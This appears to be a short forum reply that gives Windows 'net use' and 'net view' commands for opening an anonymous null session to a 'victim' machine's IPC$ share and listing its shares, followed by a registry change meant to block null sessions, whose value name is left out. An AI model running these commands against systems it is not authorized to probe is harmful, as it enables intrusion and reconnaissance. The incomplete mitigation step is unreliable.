2. Yes; open cmd and type: net use \\[victimsipadress]\ipc$ /u:"username" "password" - if you want to open a null session leave username and password blank with no spaces like that: net use \\[victimsipadress]\ipc$ /u:"" "" at the end a message will appear: command succesful then type net view \\[victimpadress] this will list you the shares on that computer.

As the purpose of preventing that to happen to your computer you, you can restrict null sessions on your computer:

Run regedit find HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa and change the value to 1

1. when i find an answer I'll tell you.